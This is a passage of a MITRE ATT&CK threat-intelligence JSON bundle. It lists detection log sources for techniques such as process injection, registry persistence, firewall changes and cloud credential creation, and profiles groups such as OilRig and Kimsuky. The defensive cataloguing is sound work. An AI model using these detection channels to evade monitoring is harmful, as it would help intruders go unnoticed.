                    "name": "gcp:audit",
                    "channel": "Set Gmail Delegation"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "usermod, or account rename system calls"
                },
                {
                    "name": "azure:audit",
                    "channel": "Rename user"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission"
                },
                {
                    "name": "azure:audit",
                    "channel": "Add service principal credentials, app password added, app role assignment"
                },
                {
                    "name": "gcp:audit",
                    "channel": "iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add"
                },
                {
                    "name": "gcp:audit",
                    "channel": "API Key Created, OAuth Client Registered"
                },
                {
                    "name": "kubernetes:audit",
                    "channel": "create or update events for RoleBinding or ClusterRoleBinding objects"
                }
            ]
        },
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0051",
                    "external_id": "DC0051"
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            ],
            "modified": "2025-10-21T15:14:37.073Z",
            "name": "Firewall Rule Modification",
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                },
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                },
                {
                    "name": "esxi:hostd",
                    "channel": "vSphere API calls modifying firewall settings"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "firewall disable commands or suspicious ACL modifications"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AuthorizeSecurityGroupIngress"
                },
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                    "channel": "new rule allowing inbound or outbound connections for remote desktop software"
                },
                {
                    "name": "networkdevice:Firewall",
                    "channel": "update_rule: Access control or NAT rule modified or disabled outside maintenance window"
                },
                {
                    "name": "linux:syslog",
                    "channel": "iptables or nftables rule changes"
                },
                {
                    "name": "Firewall Audit Logs",
                    "channel": "Outbound NAT Rule Changes"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "Create egress rule allowing UDP to port 53, 123, 11211"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "Ingress rule creation or modification for security group"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "New security group created with permissive rules"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "Policy Change / Rule Update"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "rule_modification: New or modified firewall rules related to wireless interfaces"
                }
            ]
        },
        {
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            "id": "x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee",
            "created": "2021-10-20T15:05:19.275Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0092",
                    "external_id": "DC0092"
                }
            ],
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            ],
            "modified": "2025-10-21T15:14:39.109Z",
            "name": "Volume Modification",
            "description": "Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "kubernetes:apiserver",
                    "channel": "Pod spec with hostPath or privileged securityContext"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "ModifyVolume"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
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                    "external_id": "DC0020"
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Process Modification",
            "description": "Changes made to a running process, such as writing data into memory, modifying execution behavior, or injecting code into an existing process. Adversaries frequently modify processes to execute malicious payloads, evade detection, or gain escalated privileges.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "auditd:SYSCALL",
                    "channel": "rename, chmod"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "mprotect"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_MMAP"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "kill syscalls targeting auditd process"
                },
                {
                    "name": "macos:unifiedlog",
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                },
                {
                    "name": "WinEventLog:Sysmon",
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                },
                {
                    "name": "macos:osquery",
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                },
                {
                    "name": "ebpf:tracepoints",
                    "channel": "Runtime memory overwrite of argv[] memory region"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Anomalous dyld dynamic library loads or RWX memory mappings in browser process"
                },
                {
                    "name": "auditd:SYSCALL",
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                {
                    "name": "auditd:SYSCALL",
                    "channel": "SYSCALL ptrace/mprotect"
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                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_MMAP"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process, library load, memory operations"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "rename"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Detection of bitwise operations or custom encryption functions in memory traces"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Abnormal memory operations (XOR/bitwise loops) during archive generation"
                },
                {
                    "name": "auditd:memprotect",
                    "channel": "change from PROT_READ|PROT_WRITE to PROT_EXEC"
                },
                {
                    "name": "linux:procfs",
                    "channel": "/proc/[pid]/maps, /proc/[pid]/mem"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "The removal of a user, service, or machine account from an operating system, cloud identity management system, or directory service.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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                    "name": "WinEventLog:Security",
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                },
                {
                    "name": "esxi:hostd",
                    "channel": "method=RemoveUser or esxcli system account remove invocation"
                },
                {
                    "name": "m365:unified",
                    "channel": "Remove-Mailbox, Set-Mailbox"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2026-05-12T15:12:00.778Z",
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            "description": "Changes made to an existing registry key or its values. These modifications can include altering permissions, modifying stored data, or updating configuration settings.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n    - Event ID 4657 - Registry Value Modified: Logs changes to registry values, including modifications to startup entries, security settings, or system configurations.\n- Sysmon (System Monitor) for Windows\n    - Sysmon Event ID 13 - Registry Value Set: Captures changes to specific registry values.\n    - Sysmon Event ID 14 - Registry Key & Value Renamed: Logs renaming of registry keys, which may indicate evasion attempts.\n- Endpoint Detection and Response (EDR) Solutions\n    - Monitor registry modifications for suspicious behavior.",
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                "enterprise-attack"
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                    "name": "WinEventLog:Security",
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                },
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                    "name": "WinEventLog:Sysmon",
                    "channel": "StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components"
                },
                {
                    "name": "m365:unified",
                    "channel": "MacroSecuritySettingsChanged or SafeModeDisabled"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "modification to Winlogon registry keys such as Shell, Notify, or Userinit"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "g_CiOptions modification or SIP state change"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "Autoruns reports DLLs in AppInit_DLLs key"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0097",
                    "external_id": "DC0097"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "AWS:CloudTrail",
                    "channel": "CreateVolume"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-VSS",
                    "channel": "Volume Shadow Copy Creation"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d",
            "created": "2021-10-20T15:05:19.271Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0014",
                    "external_id": "DC0014"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "User Account Creation",
            "description": "The initial establishment of a new user, service, or machine account within an operating system, cloud environment, or identity management system.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4720"
                },
                {
                    "name": "azure:audit",
                    "channel": "Add user"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "CreateUser"
                },
                {
                    "name": "saas:zoom",
                    "channel": "New user created"
                },
                {
                    "name": "saas:slack",
                    "channel": "admin.user.create"
                },
                {
                    "name": "m365:unified",
                    "channel": "Add user"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "adduser"
                },
                {
                    "name": "docker:daemon",
                    "channel": "ExecCreate + usermod or useradd"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "useradd or adduser executed"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "username <user> privilege <level>"
                },
                {
                    "name": "saas:okta",
                    "channel": "user.lifecycle.create"
                }
            ]
        },
        {
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                    "name": "azure:audit",
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                {
                    "name": "auditd:SYSCALL",
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                },
                {
                    "name": "macos:osquery",
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                    "name": "networkdevice:syslog",
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                {
                    "name": "auditd:SYSCALL",
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                },
                {
                    "name": "linux:osquery",
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                },
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                    "name": "WinEventLog:AppLocker",
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                },
                {
                    "name": "EDR:hunting",
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                    "name": "WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode",
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                    "name": "etw:Microsoft-Windows-ClickOnce",
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                {
                    "name": "WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational",
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                },
                {
                    "name": "linux:osquery",
                    "channel": "select: path LIKE '/dev/video%'"
                },
                {
                    "name": "linux:osquery",
                    "channel": "state=attached/debugged"
                },
                {
                    "name": "macos:unifiedlog",
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                },
                {
                    "name": "macos:unifiedlog",
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                },
                {
                    "name": "macos:unifiedlog",
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                },
                {
                    "name": "auditd:SYSCALL",
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                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve with escalated privileges"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "cross-account or unexpected assume role"
                },
                {
                    "name": "macos:unifiedlog",
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                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
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                    "source_name": "IBM X-Force ITG23 Oct 2021",
                    "description": "Villadsen, O., et al. (2021, October 13). Trickbot Rising - Gang Doubles Down on Infection Efforts to Amass Network Footholds. Retrieved June 15, 2023.",
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                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/"
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            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South American threat group that has engaged in espionage and financially motivated operations since at least 2018. [APT-C-36](https://attack.mitre.org/groups/G0099) has targeted government institutions and entities in the financial, energy, and professional manufacturing sectors across Colombia and other Latin American countries.(Citation: QiAnXin APT-C-36 Feb2019)(Citation: Kaspersky BlindEagle AUG 2024)(Citation: Check Point Blind Eagle MAR 2025)(Citation: Recorded Future TAG-144 AUG 2025)",
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                    "url": "https://attack.mitre.org/groups/G0049",
                    "external_id": "G0049"
                },
                {
                    "source_name": "IRN2",
                    "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)"
                },
                {
                    "source_name": "ITG13",
                    "description": "(Citation: IBM ZeroCleare Wiper December 2019)"
                },
                {
                    "source_name": "Hazel Sandstorm",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "EUROPIUM",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
                },
                {
                    "source_name": "OilRig",
                    "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)"
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                    "source_name": "TA452",
                    "description": "(Citation: Proofpoint Iranian Aligned Attacks JAN 2020)"
                },
                {
                    "source_name": "COBALT GYPSY",
                    "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)"
                },
                {
                    "source_name": "Crambus",
                    "description": "(Citation: Symantec Crambus OCT 2023)"
                },
                {
                    "source_name": "Earth Simnavaz",
                    "description": "(Citation: Trend Micro Earth Simnavaz October 2024)"
                },
                {
                    "source_name": "Helix Kitten",
                    "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)"
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                    "source_name": "Evasive Serpens",
                    "description": "(Citation: Unit42 OilRig Playbook 2023)"
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                    "source_name": "Check Point APT34 April 2021",
                    "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.",
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                },
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                    "source_name": "Trend Micro Earth Simnavaz October 2024",
                    "description": "Fahmy, M. et al. (2024, October 11). Earth Simnavaz (aka APT34) Levies Advanced Cyberattacks Against Middle East. Retrieved November 27, 2024.",
                    "url": "https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html"
                },
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
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                {
                    "source_name": "Palo Alto OilRig April 2017",
                    "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/"
                },
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
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                {
                    "source_name": "IBM ZeroCleare Wiper December 2019",
                    "description": "Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.",
                    "url": "https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"
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                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                },
                {
                    "source_name": "Crowdstrike Helix Kitten Nov 2018",
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
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                    "source_name": "Proofpoint Iranian Aligned Attacks JAN 2020",
                    "description": "Proofpoint. (2020, January 10). Iranian State-Sponsored and Aligned Attacks: What You Need to Know and Steps to Protect Yourself. Retrieved January 16, 2025.",
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                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
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                {
                    "source_name": "Secureworks COBALT GYPSY Threat Profile",
                    "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.",
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                    "source_name": "Symantec Crambus OCT 2023",
                    "description": "Symantec Threat Hunter Team. (2023, October 19). Crambus: New Campaign Targets Middle Eastern Government. Retrieved November 27, 2024.",
                    "url": "https://www.security.com/threat-intelligence/crambus-middle-east-government"
                },
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                    "source_name": "APT34",
                    "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.(Citation: Unit 42 QUADAGENT July 2018)(Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)"
                },
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                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
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                    "source_name": "Unit42 OilRig Playbook 2023",
                    "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.",
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                    "source_name": "Equation",
                    "description": "(Citation: Kaspersky Equation QA)"
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                    "source_name": "Kaspersky Equation QA",
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            "description": "[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)",
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                    "source_name": "ESET DynoWiper Update JAN 2026",
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            "description": "[2025 Poland Wiper Attacks](https://attack.mitre.org/campaigns/C0063) is a Russian state-sponsored campaign that conducted destructive cyberattacks against Polish energy infrastructure in December 2025. Targets included more than 30 wind and photovoltaic farms, a combined heat and power (CHP) plant, and a manufacturing sector company. The attacks on the distributed energy resources (DER) disrupted communications between affected facilities and the distribution system operator, but did not impact electricity generation or heat supply. Across the campaign, threat actors deployed two previously undocumented wiper tools, [DynoWiper](https://attack.mitre.org/software/S9038), a Windows-based wiper and [LazyWiper](https://attack.mitre.org/software/S9039), a PowerShell wiper, distributed via malicious Group Policy Objects. At the CHP plant, threat actors had maintained access since at least March 2025, using that foothold to obtain credentials and move laterally before attempting wiper deployment. Some reporting has assessed the activity to be consistent with Russian Federal Security Service (FSB) threat activity group [Dragonfly](https://attack.mitre.org/groups/G0035), also tracked as STATIC TUNDRA, while other reporting attributes the destructive wiper activities to the Russian General Staff Main Intelligence Directorate (GRU) threat activity group ELECTRUM, also tracked as [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: CERT Polska)(Citation: Dragos ELECTRUM JAN 2026)(Citation: ESET DynoWiper JAN 2026)(Citation: ESET DynoWiper Update JAN 2026)",
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                    "source_name": "Parisite",
                    "description": "(Citation: Dragos PARISITE )(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"
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                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)"
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                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.",
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                },
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                    "source_name": "ClearkSky Fox Kitten February 2020",
                    "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020.",
                    "url": "https://www.clearskysec.com/fox-kitten/"
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                    "description": "Dragos. (n.d.). PARISITE. Retrieved December 21, 2020.",
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "source_name": "CrowdStrike PIONEER KITTEN August 2020",
                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.",
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            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)",
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                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
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                    "source_name": "CrowdStrike StellarParticle January 2022",
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                    "source_name": "Mandiant UNC2452 APT29 April 2022",
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                },
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                    "source_name": "Mandiant UNC3890 Aug 2022",
                    "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.",
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                    "source_name": "Proofpoint TA505 Jan 2019",
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                    "description": "Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.",
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                    "source_name": "IronNet BlackTech Oct 2021",
                    "description": "Demboski, M., et al. (2021, October 26). China cyber attacks: the current threat landscape. Retrieved March 25, 2022.",
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                    "source_name": "Recorded Future TAG-22 July 2021",
                    "description": "INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan"
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                {
                    "source_name": "Recorded Future RedHotel August 2023",
                    "description": "Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.",
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                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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            "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)",
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                    "url": "https://attack.mitre.org/groups/G0094",
                    "external_id": "G0094"
                },
                {
                    "source_name": "Cloudflare 2026 Threat Report New Threat Actors March 2026",
                    "description": " Cloudflare. (2026, March 3). Introducing the 2026 Cloudflare Threat Report. Retrieved April 18, 2026.",
                    "url": "https://blog.cloudflare.com/2026-threat-report/"
                },
                {
                    "source_name": "PatheticSlug",
                    "description": "(Citation: Cloudflare 2026 Threat Report New Threat Actors March 2026)"
                },
                {
                    "source_name": "Black Banshee",
                    "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)"
                },
                {
                    "source_name": "THALLIUM",
                    "description": "(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "APT43",
                    "description": "(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "Emerald Sleet",
                    "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "TA427",
                    "description": "(Citation: Proofpoint TA427 April 2024)"
                },
                {
                    "source_name": "Earth Kumiho",
                    "description": "(Citation: Rapid7 Threat Landscape Actors March 2026)"
                },
                {
                    "source_name": "Kimsuky",
                    "description": "(Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021)"
                },
                {
                    "source_name": "Springtail",
                    "description": "(Citation: Symantec Troll Stealer 2024)"
                },
                {
                    "source_name": "Velvet Chollima",
                    "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021)"
                },
                {
                    "source_name": "AhnLab Kimsuky Kabar Cobra Feb 2019",
                    "description": "AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.",
                    "url": "https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf"
                },
                {
                    "source_name": "EST Kimsuky April 2019",
                    "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.",
                    "url": "https://blog.alyac.co.kr/2234"
                },
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"
                },
                {
                    "source_name": "Zdnet Kimsuky Dec 2018",
                    "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.",
                    "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a"
                },
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"
                },
                {
                    "source_name": "EST Kimsuky SmokeScreen April 2019",
                    "description": "ESTSecurity. (2019, April 17). Analysis of the APT Campaign \u2018Smoke Screen\u2019 targeting to Korea and US  \ucd9c\ucc98: https://blog.alyac.co.kr/2243 [\uc774\uc2a4\ud2b8\uc2dc\ud050\ub9ac\ud2f0 \uc54c\uc57d \ube14\ub85c\uadf8]. Retrieved September 29, 2021.",
                    "url": "https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf"
                },
                {
                    "source_name": "Malwarebytes Kimsuky June 2021",
                    "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"
                },
                {
                    "source_name": "Proofpoint TA427 April 2024",
                    "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"
                },
                {
                    "source_name": "Mandiant APT43 March 2024",
                    "description": "Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt43-report-en.pdf"
                },
                {
                    "source_name": "Microsoft Threat Actor Naming July 2023",
                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"
                },
                {
                    "source_name": "MSFT-AI",
                    "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
                },
                {
                    "source_name": "Rapid7 Threat Landscape Actors March 2026",
